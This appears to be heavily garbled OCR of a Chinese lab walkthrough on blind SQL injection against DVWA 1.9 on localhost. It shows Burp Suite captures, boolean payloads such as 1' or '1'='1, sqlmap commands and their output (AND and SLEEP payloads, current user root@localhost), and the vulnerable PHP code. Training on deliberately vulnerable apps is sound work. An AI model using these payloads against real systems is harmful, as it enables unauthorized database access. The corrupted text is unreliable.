77/ nitpiiocaihost POST  /DVWA- s652 HTML Vunerabilty: SQL njecti 127,001

hitp:ifiocalnoSYDVWA-1 S/vulnerabiltiesisqll_bind/
Add to scope

2.3564%http historyiEliHs =
3EWIER , mEmEiRG

Send to Intruder Cirlel

Send to Comparer (request) 43&1%59“ dto sequence I’ﬁi}ii&f‘}iﬁﬂlﬂﬁ

Send to Comparer (response)
Show response in browser
LA Request in browser > T

J—Tﬁ Engagement tooks >
Request | Response

Show new history window

Raw | Params | Headers | Hex Add comment
POST [DVWA-1 Sivuinerabiltiesfsgli_bind/ HTTPA 1 Highlight > M
Host: localhost Delete tem r

User-Agert: Mozilal5 0 (Window's NT & 1; Win4; x64; rv:65 0) Geq  Clear history
Accept: textitl applicationsHtl+xml applicationfxmtq=0.9

Accept-Language: Zh-CN2hG=0.8,2h- TW,q=0.7 2h-HES;
Accept-Encoding: o, deflate

Copy URL
Copy as curl command

Referer: hitp:flocalhostDYWWA-1 Sivuinerabiltiesssci_blind/ Copy links.
Contert-Type: applcation/x-www-form-urlencoded Save tem
Cortent-Lengih. 18 Proxy history documentation

Connection: close
medlium; PHPSESSID=8hfga77uuv4 kdrvdbrme2cemd
Upgrade-Insecure-Requests: 1

=1 8Submit=Submit

L
v

@ EJ EJ EJ Type & search term i 0 matches.

il P RO AT sQu iE A

) Burp Suite Professional v2.0.11beta - Tempora

Burp Project htruder Repeater Window Help

[Dmhnam Target | Proxy | intruder Sequencer | Decoder | Comparer | Extender Pmpnnpmns'[m:rnmms]

4

2 FePERlnZe i~ \
Go Cancel <|v >|x
‘ —~ 1i%{Erepaeatenlli £

Request 4.5 ) BT Response
" ¥ - .Eﬁgrdﬁziﬂ , RigiAK
Raw | Params | Headers | Hex Raw | Headers | Hex | HTML | Render

Targets httpiiocalhost 7 (7)

POST DVWA-1 Sivuiner abities/sdi_blind/ HTTP 1 4 HTTPAA2000K l\
Host: localhost r Date: Fri, 15 Feb 2019 03:20:35 GMT

User-Agent: Mozila/5.0 (Windows NT 6.1; Wing4; x64; rv:65.0) Geckor20100101 Firefox/3.0 Server: Apache/2.4 23 (Min32) OpenSSLA 0.2 PHPIS 4 45

Accept: texthtml application/x ftmi+xm application/xmt g=0 9 image/webp,*q=0.8 K-Powered-By: PHP/S 4.45

Accept-Language: z0-CN,zhg=0 8,2 3eng=02 Expires: Tue, 23 Jun 2009 12:00:00 GUT
Accept-Enceding: gzip, deflate Cache-Control: no-cache, must.revaiidate
Referer: hitp:flocalhostDVWA- Sivuinerabilties/sdi_blind/ Pragma: no-cache Scan
Cartert-Type: applcation/x-www-form-uriencoded Cortert-Lengtry 5339 . o
Contert-Lengih: 30 Comnection: close Sond 1o Repent .
Connection: close N Contert-Type: textitmicharsst=ut{-8 IO e
Cookie: securty=medium; PHPSESSID=6NTge77Luv41 kdrvbrma2cems 515_EI§I’SP nse Eﬁjﬁé%@??ﬁ S S o e
Uparade-Insecure-Requests: 1 I Bl _ —) d to Comparer
IRHEER || B eenddmComBarelom s 1.0 swivz| s to becoger Vict s
aSubmt=Submi ity -2 e
ponse in browser
bR T4 A ming ="t v w3 org 898>
Request in browser >
<heads Engagement tools >

<meta hitp-equiv="Content-Type" conteni="textiiml| Copy URL

3.(EHURAcE R Apayload

Copy as curl command

<title>Vulnerability: SOL Injection (Bl i Mtes
<lirk rel="styleshest" typ Save tem
Save entire history
<lnk rel='icon’ type="imagefico" href="./. faviconiq  paste URL as request
Add to sits map
<seript type="extiavaseript” sre=". . kv walslivi{
Convert selection S
L <iheac> cut CirkeX L
L CtrksC il
@ (=] (=] =] [70easeorcn omatcnes | @D [ <[+ ][] [Treessaronem P CirkeV o matches

Message edtor documentation .
Done 5,658 bytes | 52 milis
§ Burp Repeater

o3 SRS HARAE O LR DY payload HEAT 1 SR4AE, HRIE S T BBk

® lorl=1

® land1=2

® 1'or'l="1

® 1'and'l'="2

£ F LB 7 0 B H SRR /-5 B SR AL 48 and 11 or 2 JB] AR 2 45 AR AT LR
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)

Burp Suite Profe

nal v20.11beta - Tempon

(=) =
Burp Project hiruder Repeater Window Help
[ ‘Dashboard | Target | Proxy | intruder | Repeater | Sequencer | Decoder | Comparer | Extender | Project options T User options 1
Comparer @
This function lets you do a word- or byte-level comparison between different data. You can load, paste, or send data here from other tools and then select the comparison you want to perform.
Select item 1
# | Lengin Data [ pase |
17 5652 HTTP/1.1 200 OKDate: Fri, 15 Feb 2019 03:23:54 GMTServer: Apache/2.4.23 (Win32) OpenSSLM.0.2j PHP/5 4 45X-Powered-By: PHP/5.4 45Expires: —_—
18 5658 HTTP/1.1 200 OKDate: Fri, 15 Feb 2019 03:24:05 GMTServer: Apache/2.4.23 (Win32) OpenSSLM.0.2j PHP/S 4 45X-Powered-By: PHP/S 4 45Expires: Load
19 5658 HTTP/1.1 200 OKDate: Fri, g Feb 2019 03:24:23 GMTServer: Apache/2.4.23 (Win32) OpenSSL/1.0.2j PHP/S 4 45X-Powered-By: PHP/S. 4 45Expires: Ri
20 sesg HTTPIL 1 200 OKDete: Fr, b 2018 03:24.33 GTServer. Apachel2 423 (Wn2) OpenSSL1 0 2| PHPIS4 48X Powered By. PHPIE 4 s .| L P |
Clear
HSETB AN d A
SRR AR B Band or R =
EEFRFERER P Eand ortbE
Select item 2:
& | Lenqthl | ata
17 :y HTTP/A ZEMKDBIB Fri, 15 Feb 2019 03:23:54 GMTServer: Apache/2.4.23 (Win32) OpenS5L/1.0.2) PHP/5. 4 45X-Powered-By: PHP/5.4.45Expires:
18 | HPr1.1 g OKDate: Fri, 15 Feb 2019 03:24:08 GMTServer: Apacher2.4.23 (Win32) OpenSSLI1 0.2) PHP/S.4.45X-Powered-By: PHPIS.4.4SExpires. .
19 5658 HTTR/A 00 OKDate: Fri, 15 Feb 2019 03:24:23 GMTServer: Apache/2 423 (Win32) OpenS50L/1.0.2j PHP/S 4 45X-Powered-By: PHP/5.4 45Expires:
20 5658 HTTP) 200 OKDate: Fri, 15 Feb 2019 03:24:33 GMTServer: Apache/2.4.23 (Win32) OpenSSL1.0.2j PHP/5.4 45X-Powered-By: PHP/5.4 45Expires:
Rt BgEH
Compare
Words
-]

e

Word compare of #17 and #18 (5

Length: 5,652 @ Text O Hex Length: 5,658
YOI ACTIOT="¥ TeEoa="PUST T YO ECION="F MEMoa="FUST
- - <
User D: User i
>1</option><option
value="2" 5" value="2" value="3"
<input type="SUBIMIT name="Submi” value="Submi> <Input type="Submi” name="Submit" value="Submi'>
<tp> <tp»
<iform> <iform>
<pre-User D BiiStS it the database </pre> <pre=Uszr D [8 WISSING from the database.</pre=
. ______«n——l-'J
e ———T
<n2=More nformation=/m2> <h2=Hore Information=</n2>
<ub s e S s a <
<ii=<a hrefs"htip:hidere fer. com/Zhtp:livi v v secul 2 . <ix<a hrefs’ uriteam 1PTBE himl"
st HandénsRELie
target="_plank">htip/iw ww.securiieam. i wmr_.mmm % B and FEE E e i 1RTBE himl/a></i
<0 "M for compsifen wiipedBaTg e L,ﬁ% ] BUBTFIE | gncRERER 14k <& hretntp imiderefer.com/2nitps en wikinedia.org/w k/SQL_inection”
target="_blank"shtips:ien. wikipedia org/wikISQL_injections/as </l 3| Eﬁ“,’tmﬁ'ﬁﬁSQ L target="_blank"sNttps./ien wikipedia.orgiwikiSQL_injection=ias-</iis
<i<a fref= mavitura. Cnjection-cheatsheet ok <ib<a href=’ mavituna Linjection-cheatsheet-ok
target="_blank™ mavituna, Iinjection-cheatsheet ok i target="_blank" mavituna, injection-cheatsheet-ok A
<ir<a <l<a
href=" eticheat-sheetisgh Finjection-cheat-sheet” href= cticheat-sheet/sqh Finjection-cheat-sheet”
target="_blank" eticheat sheetisqling I-injection-cheat. i farget="_blank" el/cheat.sheetisql Jinjection-cheat.
<li=<a href="http:/iidere fer.conU7NHps://w . 0wasp org/ndex.php/Bind_SQL_injection” N <ii<a href="http:ihiderefer. CoM/ZMEpS: iww w.0WaSp.orgindex pp/Bind_SQL_njection” N
target="_blank"s itps:/vvw. 0w asp. org/index php/Bind_SQL_injection</a»</li- target="_blank https: v v owasp.orgindex php/Blind_SQL_njsction<is=</li-
<i-<a href="http:fihidere fer.comy7hlp:/ibobby-tables. com™ <ii<a hrefs"htip://hiderefer. com?http:/ibobby-tables.com”
target="_blank">htip:/ibobby-tables. comi=ia=<ii= farget="_blank"=http:/fbobby-tables. com/</a></li=
<iul>
<divs <tdiv>
<br jo<br /> <br fe<br />
<tdiv> <ddiv>
<div tlass="ciear> <div ciass="clear>
<tdiv> <idiv>
<div id="system_info"> <div id="system_info">
<input type="button” value="View Help" class="popup_button” v <input type="button” value="View Help" class="popup_button” v
ey G [OBEREH et

O syne views

BEXTREBOER B LU G ey, 18 or WSRO A IR R B AAAE, 14 and TRV R

AR, I (L SQLIEA
fEH salmap JEAT A
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k)

& Burp Suite Professional v20.11beta - Temporary Project - Iensed i sureno 2 ) = S
Burp Project intruder Repeater Window Help

[ ntercept T HTTP history I WebSackets history T Options ]

| Fiter: Hiding CSS, image and general binary content ‘@
# Host Method | URL Params | Edited | Status | Length | MMEtype | Extension | Tile Comment ssL | Cookies

75 hitplocahost GET /DVWA-1 Sivuherabilties/sqi_blind/ 200 5810 HTML Vulnerabilty: SOL Injecti. 127.0.0.1

77 hp/iocahost POST [ /DVWA-1 Sivuerabilties/sqii_bind/ v 200 5652 HTML Vulnerabilty: SQL Inject 127.00.

1LEREK

T v
Request | Respunse |
Raw | Params T Headers IE}

POST DVWA-1 Sivulnerabifties/sdi_blind/ HTTP
Host: localhost

User-Agent: Mozila/s.0 (Windows NT 6.1; WInG4; x64; rv:65 ) Geckor20
Acoept: textitml application/xitmlxm pplicationm
Accept-Language: zh-CN,zq=0 8,zh-TW,q=0.7 zh-H
Accept-Encoding: gzip, deflate

Referer: fitp: MiocalnostDyVA-1 aivunerabities/sal L
Content-Type: application/i-www-form-uriencod,
Contert.Length 18
Connection; close

Cookie: securty=medium; PHPS!
Upgrade-Insecure-Redue:

Firetox/65.0

s Sl Rurl | 1R5rEERIcookie

Fentag77uuv41 kdrvaorma2eema

id=1&Submit=SLbmit

v

@_ =)l z] [rpesse

0 matches

&l Cwindovs\system32iemdes T I = |

{venv2.?> Hivrsqlmap —u “htt #localhost/DUMA—1.9/vulnerabilities/sqli_blind/" ——data="id=1&Submit=Subnit" -—cookie="security=ned
Hum; PHPSESSID=6hfg??7uuv4ikdrudhrmg2cen3"” ——batch

http:/ssqlmap.org

[*1 legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user’s responsi
bility to obey all applicable local, state and fedewral laws. Developers assume no liability and are not responsible for any misuse
or damage caused by this program

[*] starting B 11:2%:4% ~2019-82-15~/

L 1L 1 resuning back-end DBME ’mysqgl”’
L 1L 1 testing connection to the target URL
lsglnap resuned the following injection point{s?> from stored session:

Paranmeter: id (POST>
Type: hoolean—hased hlind
Title: AND hoolean—hased bhlind — WHERE or HAVING clause
Payload: id=1 AND 858@=8588&Submit=Submit

Type: AND-OR time-hased bhlind
Title: MySQL >= 5.8.12 AND time-based hlind
Payload: id=1 AND SLEEP(5>&Submit=Submit

1T LINFUI
webh server operating system: Windows
web application technology: PHP 5.4.45. Apache 2.4.23
hack-end DBMS: MySQL >= 5.8.12
L 1 fetched data logged to text files under *C:“sers'wuke“.sglmap™wutputslocalhost’

[»]1 ending @ 11:2%:58 ~2019-82-15~

{venu2.?> H:=~>

(NE Ty
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<php

if{ dsset{ $GET[ “Submit’ 1 ) ) {
Get  input
$id = $GET[ "4d 1

f Creck datah e
Fgetid = "SEE:J’?T first_name, last_name FRONM uszers WHERE wuser id = ’$1d';”:h-__ E}%‘}H’—%.&Em&ﬂ}%iusqhm@

Fresult = mysql_query( 3getid 1. // Eemoved “or die’ to sppress mysgl  ervors EFI

A Get results

Srum = @mysgl_romrows( Fresult ): S/ The '@ character suppressss error
if( fom > o000 |

,;,;hoFEedback for end user ijg??[ﬂ%ﬂ jéti?ni

T<prelUzer ID existz in the database.</pred” s e
b HEEBTER
else
S User wasn't found, =0 the page wasn't!
headeri $_SERVER[ °SERVER_PROTOCOL™ ] . ° 404 Mot Found

// Feedback for end user
echo “predUzer ID is MISSING from the datshase. </pred’;
i

my=ql_cloze () ;
i

kb

LR

Bl | iRIEE FAR

A ERDP SRS saL AT, HAATFE AT R RAEN, B A LS
BEAT P B R o AR 2 45 SRR ) o SR, AR JCIE AR A 45 R AN

R TR S AETE SaL FINT, TESRAE R
C. HIGH 2%

a) WHE DVWA %244 High
b) )23 burpsuite I+ T a0 HE

B! Burp Suite Professional v2.0.11beta - Temparary Project - licensed to surfengz - = !
Burp Project Intruder Repeater Window Help
[ Dashboard | Target wxy | intruder | Repeater | Sequencer | Decoder | Comparer | Extender | Project options T User options 1
ntercept | HTTP higry | WebSackets history W
Ll mhproxyifEIn-= \2 B
= 8 A
@ Prowy 1fuchsRATTPIOXYIZEIR dhoptionsli-& N
{% Burp Prowy uses \is‘eners«?éwe inc%m%ﬂﬂl’ requests fro wrs%rﬁ-iser “You wil need to configure your browser to use one of the listeners as s proxy server.
3./ RuNNing Si7HtE
| aga | Runmng | Interface | Invisibie | Redirect | Certificate
@ 127.0.0.1:8080 Per-host
Edit
Remove »
Each installation of Burp generates its own CA certificate that Proxy listeners can use when negotiating SSL connections. You can import or export this certificate for use in other tools or another installation of Burp.
| 1mport/ export CA certiicate | | Regenerate CA certficate. |
(@) Intercept Client Requests
{gr:)} Use these settings to control which requests are stalled for viewing and editing in the Intercept tab.
(@ Intercept requests based on the following rules:
| Adgs | |Enables | Operator | Matehiype Relationship | condtion
@ File extension Does not match (*gifS1jpg3i" pngS cssSsSiticoS)
Edit (o] or Request Contains parameters.
o] or HTTP method Does not match (getipost)
Remove »
(o] And URL Is in target scope
up
| Down |
(0 Automatically fix missing or superfluous new lines at end of request L
— [ Automaticallv uodate Content-Lenoth header when the reauest is edited L]

c) WH firefox W E#sCEEA 127.0.0.1:8080
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d)

e)

(— - ¢ @ © Firefox  aboutipreferences nohw® 5

Branermas € wrre OyEar Bases QsaEss

REHAERMERSE
EFBHIEREH(Y)

B RS IR E (W)
2 "EN R - /
- FERRERABIZEL)

o FmREREM
HTTP £ (X) localhost
SRR EIR S (S

SSL I
ETP (38
SOCKS ZEHL

SOCKSv4 ® SOCKS v5
TENEE(N)

%M burpsuite 245

P sie viemEiC e e e T e )

Burp Project htruder Repeater Window Help

TR ProxXy eIl ~

Action Comment this item (@

>

3.mitInterceptiZifilntercept is of R
2.2 Interceptif i<

-
v

o_HEEN il
15 FH firefox 1 U5 2% /< 2 25 )17 3K
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f)

—_——— T — T ————— — 1
& Vulnerability: SQL Injection | X - - Ela] = ]
&« C ® localhost/DVWA-1.9/vulnerabilities/sqli_blind/ i In O & ® @
BxuEss @ wrte Demnn B s [ BaiEsE

Home Vulnerability: SQL Injection (Blind)

Instructions ‘ Gtk ere i ] ‘
Setup / Reset DB S— " N
L @ 2lind SQL Injection Cockie Input  Damn Vulnerable Wek Appli... [E=E

More Infgrmation

Brute Force @ localhost/DVWA-1.9/vulnerabilities/sqli_blind B == o | =
I

Command Injection
~ T~

CSRF
File Inclusion
File Upload LR TR A\ Bl 3.madsubmitfEarE I
Insecure CAPTCHA 2.BNEUE
SQL Injection

XSS (Reflected)
XS5 (Stored)

DVWA Security
PHP Info S
About “

Logout

m

JENENENT

ik submit $EEHR AT B a5 R 4R S Bl il set-cookie 7k 2 b a4, Wi T
Pif) id 81T cookie FRRIEAZF M5 4%

% burpsuite #E1T sQL & AN BH

W Burp Suite Professional v2.0.11beta - Temporary Project - icensed to surfervy2 1NN o -

Burp Project hniruder Repeater Window Help
[ pasnboars sequenser | Decodsr | Comparer | extender | project options | user optons |
itercept | HTR istory | webSoBags istory | Opions
| Fitter: Hiding cs5’mge and general binary. c}w\ ‘@

Intruger | Repeater

#  |noat J | Metnog MRJ..ﬂ%proxyﬁlm-E |Params |Edted | Staws | Length | MMEtype | Extension | Tt | comment |ssL [P Cookies
121 hitpigtahost GET  /DVWA-1Sivuncrabiities/sai bindi a4 sS40 HTHL Vulnerabitty: SOL inecti 127.001
122 nprfpcahost GET  /DVWA-1.SNunerabilties/sqi_bind/ a4 sS40 HTHL Vulnerabitty: SOL injecti 127.00.1
122 ntpfocahost GET  /DVWA-1.Siunerabilties/sal_bind/ 04 sS40 HTHL Vulnerabitty: SGL injecti 127.00.1
124 nnwtﬁn‘gh ttp histo @Eﬁlmﬁw Shvunerabilties/sall_bing 200 S48 HTHL Vulnerabitty: SQL inecti 127.00.1
125 hitphiocaost TOVWA-1 Sivuinerabiltes/sql_bind 200 sa05  HTML Vulnerabiity: SOL injecti 127.00.1
126 hitpocahost GET  /DVWA-1.Sivunerabilties/sqii_blndicoo 200 108 HTML php Biind SQL Injection Cooki 127.00.1
127 nttpiocahost POST  /DVWA-1.9uherabitties/sqil_bindicoo v 200 1211 HTL php Bind S0L Injection Cooki 127.00.1 id=1
126 ntpocahost GET  /DVWA-1.Shunerabilties/sall_bind/ 200 5447 HTML
130 hipiocahost GET OVWA-1.9/dvwalisidvwaPage s 200 1081 seript i itpocalhosDVWA-1 Shvulnersbiiesfsqll_bind/
Add to scope
Scan

[

< -~ e he e Send to Intruder Ciris! >
(TReauet | osponss | e | _sencioepemer _____cR |
Baepo0ee Send to Sequencer

Raw | Params | Headers | Hex Send to Comparer (request)
Send to Comparer (resghn Jﬁm
GET IDVWA-1 Sivunerabilties/sgi_bind HTTRA 1 TR ﬂ‘?ﬁﬁsend tore; pea =p
Host localhost Show response in m%ﬁ TSR r
User-Agent: Mozila/5.0 (Windows NT 6.1; Wing4; x64; rv:650) Gecko20100101 Firefox/65 0 Request in browser Ej >
Accept: textihtml application/xhmiml applicationa 9jmagewebp *F;q=0.8 Engagement tools >

Accept-Language: zh-CN,zhig=0)
Accept-Enceding: gzip, deflate

£,20-TWEG=0.7 zh-HIt=0.5 en-US;g=0.3 e Show new istary window

Referer: ttp:/localhostDVVA-1 8ivunerabilties/scli_bind! AT
Connection: close Highlight >
Caokie: id=1; securty=hich; PHPSESSID=Ehfq87 Tuuvd  kelrvabrmg2cem3 Delete tem

Upgrade-Insecure-Requests: 1
Pragma no-cache
Cache-Control no-cache

Clear history
Copy URL

Copy as curl command

Copy links.
Save tem L
e Proxy history L]
OS] ESEY Omstcnes

il P B O BREAT sQuL E AT
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h)

i)

Burp Suite Professional v2.0.11beta - Temporary Project - licensed to surfer | o T o )

Burp Project iniruder Repeater Window Help

Repeater | sequencer | Decodsr | omparer | extender | project options | user optons |

2 PRI E 1i%Frepeaten®tli£ Targetshttgtocalhost 22 (7)

Request Response

N Sermr
Jmmm, RREEK Raw | Headers | Hex | HTUL | Ronder

Intruder

GET (DAt 8ivulnerabilliesisdl_bind/ HTTPA 1 4 HTTPA1 2000K T

Host localhost P Date Fri, 15 Feb 2018 03:52:06 GMT

User-Agent: Mozila/5.0 (Windows NT 6.1; WinB4; xB4; rv:65.0) Geckor20100101 Firefox/85.0 Server: Apacher2.4.23 (Win32) OpenSSLH 0.2 PHPIS 4.45

Accept texthtm applcation)s ke applicationkml g=0.8,mage/webp ! -0, XPowered By: PHPIS 4.45

Accept-Language: 2-CN,2hg=0.8,20-TW,=0.7 2h-HIG=0.5 £n-US 9=0 3,en4-=0.2 Expires: Tue, 23 Jun 2009 12:00:00 GHIT

Accept-Encoding: g2ip, deflate Cache-Cartrol: no-cache, must-revalidate

Feferer: htp:localhostDVIVA-1 Siuinerabities/scll_blind’ Pragma: no-cache =

Connection: close - Cortert Lengih: 5128 et o hiruder co

Coolie: id=1 or 15ggsecurtty=high; PHPSESSID=ENfge7 uuv1kdrvdbrma2eems Connection; close

Upgrade-Insecure Content.Type: textintm;charset=utf-8 srrilinlEr=Er ol
— Sk Send to Sequencer

o e 5 SN , BRI RS ~

Cache-Cortral: no-cache Comp

s N i g i Comee |
3 EUEREIE Sapayload 1¥EEsend to campareribé pAEREREIARE /070 %] send to Decoder o TDhtm stice
Show response in browser
<html xmins="http:{hw ww w3 0rgH 898 htmi”
Request in browser »
<heads Engagement tools. >

<meta hitp-equiv="Cortert-Type" ed  Copy URL
Copy as curl command
<litle=Vulnerability: SQL Injectior n (DVWA) v1.9<fitle>
Copy to file

Save tem

<ink rel="stylesheet" type="textics:

Save entire history
imageAco” NN paste URL as request

<ink rel="icon” typ

Add to site map
<script type="text favascript" src="
Convert selection >
L <heac Cut T L
I Copy Ciri+C v
@ < || =] |\ =] |Twe s search term Omaiches (3 <[+l =] mwe Paste Ciriev o
Message editor documentation
Done 5,447 bytes | 19 millis

7394 cookie $RAZEAEAE LT AT HINUAS payload HEATIERERAE, JFAIA R LA

® lorl=1

® land1=2

® 1'or'l'="1

® 1'and'l'="2

A5 FH PRECABE R 2 J0l) o BB AL /745 H3 R B384 and F or 2 [R] iy me 82 45 SEEAT LU

Burp Suite Professional v2.0.11beta - Temporary Praject - licensed to surfe [E=Ee i

Burp Project intruder Repeater Window Help

[ Dashboard | Target | Proxy | intruder | Repeater | Seguencer | Decoder | Comparer | Extender | Project options T User optiens ]
Comparer @

This function lets you do a word- or byte-level comparison between different data. You can load, paste, or send data here from other tools and then select the comparison you want to perform

Select item 1:
# | Lengtn Data [ peste |
23 7 HTTP/1.1 200 OKDate: Fri, 15 Feb 2019 03:55:13 GMTServer: Apache/2 423 (Win32) OpenSSLM.0.2j PHP/S.4.45X-Powered-By: PHPIS 4 45Expires: —_—
24 HTTP/1.1 200 OKDate: Fri, 15 Feb 2018 03:55:27 GMTServer: Apache/2 4.23 (Win32) OpenSSL/M.0.2) PHP/S.4.45X-Powered-By: PHPIS 4 45Expires: e
25 5447 HTTP/1.1 200 OKDate i, 15 Feb 2019 03:55:41 GMTServer: Apache/2 4.23 (Win32) OpenSS5L/1.0 2] PHP/S 4. 45X-Powered-By: PHP/S 4 45Expires: m
28 5480 HTTPIL 1 404 ot FouWite: Fr, 15 Feb 2013 03,5 40 GfTServer. Apache 4 23 (nZ2) Open SSLI 0 1PHPIS 4 45X Powered By, P 4452 . | L Pm |

Clear

WEREEER R Hor/and i HTHAR

VTR REEIT Hor/and i {THIE

Select ftem 2: I /

# J Data. y 4

E) ‘ saa7 HTTP/1.1 200fkDate: Fr, 15 Feb 2018 02:55:19 GNTServer. Apache2.4 23 (Win32) OpenSSL1.0.2| PHPIS & 45X-Powered-By: PHPIS 4 4SExpires:

2 s4a7 #7Pi1.1 20 OKDate: Fri, 15 Feb 2019 03:55:27 GMTServer: Apacher2.4.23 (Win32) OpenSSLI1.0.2| PHPIS.4 45X-Powered-By: PHPIS 4 45Expires: .
25 su7 00 OKDate: Fri, 15 Feb 201 03:55.41 GNTServer. Apacher2.4 23 (Win32) OpenSSLI1.0.2 PHPIS 4 45X-Powered.By: PHP/S 4 4SExpires:

2 5460 404 Hot FoundDate: Fri, 15 Feb 2019 0355 48 GNTServer: Apacher2.4 23 (Win32) OpenSSLI1.0.2) PHPIS. & 4SX-Powered-By: PHP/S.4 45E.

rathword T AT AL

Compare
W, words
=)

ZIELE S
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Burp St roesionl v208 et - Temporay et~ 052155

Burp Project intruder Repeater Window Help

[Dasnnnaru Target | Proxy | intruder | Repeater | Sequencer | Decoder | Comparer | Extender Prn)ec\nmmnswusarnmms]

Comparer @
This function lets you do a word- or byte_level comparison between different data. You can load, paste, or send data here from other tools and then select the comparison you want te perform.
Select item 1:
Word compare of #25 and #26 (6 differences) - L= | B
Length: 5,447 @ Text O Hex  Length: 5460 @ Text O Hex
3 0
3
«div class="vuinerable_code_area™>Click <a href="#" onClick="javascript:popUp(cookie-nput php') return <div class="vulnerable_code_area"sClick <a href="#" onClick="javascript papUp('cookie-input php');return
false;">here to change your Dela>. falss*>here to change your D</s>.
<pre=User D BXiStS i the database. </pre> s> <pre>User ID 8 MIESING from the database.</pre>
<idive \ <ddiv>
<h2=More Information<in2> e L <h2>More nformation</hz> .
e . T “a "
aw ‘ FITREERPRortland SRy | orfafF, anda AT , EILFIEHAMTEEsqliEA
<ir<a S=a
href= urteam, 1P76E il uriteam. 1P7BE htmr"
target="_blank">hitp uriteam. i {PTBE htmic/a=<li- p uriteam, 1RTGE himicia><i>
«li=<g href="hitp://hiderefer.com/Zhttps://en. wikipedia. org/ wikiSQL_injection™ =l>=a href="http./Miderefer.com/7https./fen. wikipedia.org/wiki'SQL_injection™
target="_blank">tps:/ien. wikipedia.org/wik/SQL_njection=iax</l= target="_blank">https:lien.w kipedia. org/w KISQL_njection</a=</l>
<ir<a href= mavituna injection-cheatsheet-ok <li<a hrefs" mavituna. Hnjection-cheatsheet-ok
target="_blank" mavituna Hinjection-cheatsheet maviuna et i
<ip<a <iesa
nret eicheat-sheatisqs Linjection-cheat.sheat” et eticheat-sheetisal njection-cheat-shest”
target="_blank" etichest-sheetisql Finjection_cheat. farget="_blank™ eticheat sheetlsql Linjection-cheat.
<ii-<a href="http:/hiderefer.com/?hitos:/vw . owasp.orglindex.php/Bind_SQL_njection” <lp<a href="htpiiderefer. comZhtips/ivw w.owasp.org/index. pha/Bind_SQL_njecton
target="_blank">https://www owasp.ora/index php/Biind_SQL_njection</a=</li= target="_blank"=https:/iw ww owasp.org/index php/Blind_SQL_Injection</a=</ii-
<ii=<a hre f="http:/hidere fer.com/Zhttp:ibobby-tables. com™ L <li><a href="http:lihiderefer. com/?http://bobby-tables.com”
target="_blank">http:libobby-tables. comi</a=</li> e target="_blank">http://bobby-tables.com/</as</li> F
Key: [Wodified [BEiSiEd| Added (0 Sync views
| ‘ e

B X REHORA L g5 i, 28 or 1SRN EE REREIEAF/E, 24 and 1ERINZE R T
NHARAAELE, NI HIBIAAE saL A

{5 H sqlmap #EATI1A

sttt g o s . 5

[Dasnhwd Target | Proxy | intruder | Repeater | Sequencer | Decoder | Comparer | Extender PrnpdnmmnsTUs:rnmnns]
Intercept NTerhnyW:bSnckatshistDry Oplions

| Fiter: Hiding CSS, image and general binary content |®
# | Host | Method | uRL Params | Edted | Status |Length | MMEtype |Extension | Tie Comment |sst |® Cookies.

121 nhitpiiocahost GET /DVWA-1.9/vuinerabilties/sali_bing/ 04 S460 HTML Vuierabilty: SQL injecti... 127,001

122 htipiocalhost GET IDVWA-1 Sivunerabities/sqii_bind/ 404 5450 HTML Vuinerabilty: QL inject 127.00.1

123 htipiocalhost GET IDVWA-1 Sivulnerabilties/sqli_bind/ 204 5480 HTML Vuinerabity: SL injecti 127,001

124 httpiiocaihost GET IDVWA-1 9vunerabities/sqi_bindi 200 5405 HTML Vuierabity: SL injecti 127.00.1

125 hitpiiocahost GET JOVWA-1 Sivuinerabilties/sall_bind/ 00 5405 HTML Vuherabilty: SQL hisct 127.00.1

126 nhitpiiocahost GET JDVWA-1.9/vuierabities/sli_bind/coe... 200 1108 HTHL Php Biind SQL Injection Cook. 127.001

127 hipiliocalhost POST  /DVWA-1 Shvuhnerabities/sqi_bindicoo. v 200 1211 HTHL php Bind 50L Injection Cooki 127.0.0.1

128 hitpullocakhost GET 200 5447 HTHL Vulnerabilty: SQL hjecti. 127.00.1

130 httpiiocaihost GET IDVWA-1 SidvwalsidvwaPage js 200 1061 serpt i 127.00.1

1LERIFEK
[« 7 T

Request | Response

Raw | Params | Headers | Hex

GET [DYWA-1 Sivuinerabilties/sgli_hlind/ HTTP e .

Fost losalhost e #Hhigskurlfllcookie#iiE
User-Agert: Mozila/5.0 (Windows NT 6.1; WinB4; x84; rv:650) Gfcko/20100101 Firefox /5.0

Accopt. i spolcations i splicaini 0.9

‘Accept-Language: Zh-CN,zh,g=08,2h-TW; .7 Zh-HI;
Accept-Enceding: gzip, deflate

Referer: http:MocalhostDVWA-1 Sivulnerabiltie sisgli_blind/
Connection: close

Cookie: id=1; ; PHPSESSID=6hg:
Upgrade-Insecure-Requests: 1

Pragma: no-cache

Cache-Contral: no-cache

T

L
v

0 matches
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udikdrudbrmg2cen3” ——level=2 _——current—user ——current—dh —batch

http://sglmap.org

legal disclaimer: Usage of sglmap for attacking targ without prior mutual consent is illegal. It is the end user’s responsi]
hility to ohey all applicable local., state and federal 1 Developers me no liability and are not responsible for any misuse

or damage caused by this program
[*] starting @ 12:89:35 -2019-B2-15~

1y 11 1 resuming back—-end DBMS *mysql’
L 11 1 testing connection to the target URL
lsglmap resumed the following injection point(s)» from stored se:

Parameter: id (Cookiel

Type: hoolean—hased hlind
Title: AND hoolean—based blind — WHERE or HAVING clause
Payload: id=1" AND 2117=2117 AND ’‘uURu’='ulRu; security=high; PHPSESSID=6hfg?7?7uuvdikdrudbrmgZcend

Type: AND/OR time-hased blind
Title: MySQL >= 5.8.12 AND time—hased hlind
Payload: id=1" AND SLEEPF<5> AND ’*FOsY¥’="FOsY: security=high; PHPSESSID=6hfg?77uuwvdikdrvdbrmngZcend
L 1 [INFO1
ueb server operating system: Windows
web application technology: PHP 5.4.45%. Apache 2.4.23
[back-end DEMS: MySqQL »>= 5.08.12
10 1 fetching current user
1T 1 running in a single-thread mode. Please consider usage of gntieii ~>tThreads’ for Ffaster data retrieval
110 1 retrieved:
do you want to URL encode cookie values (implementation specifle’y [Y/plel
rootBlocalhost
CUrrent user: "FootU@localhost”
[ 10 1 fetching current database
L 1r 1 retrieved: dvwa
current database: ’duwa’

k) ACHS BT

if( isset{ § COOKIE[ "id" 1 3 ) {

$id = $_COOKIE[ ’id’ ]\ . . I
1. M cookierhskEVETIE

@ Cilwindows\system32\cmd.exe T | ) e

[{uenv2.7> H: \>sqlmap —u "http:rslocalhost/DUUA-1 .2 /vulnerabilitiesssqli_hlind/" —-cookie="id=1; security=high; PHPSESSID=6hfg?77uy|

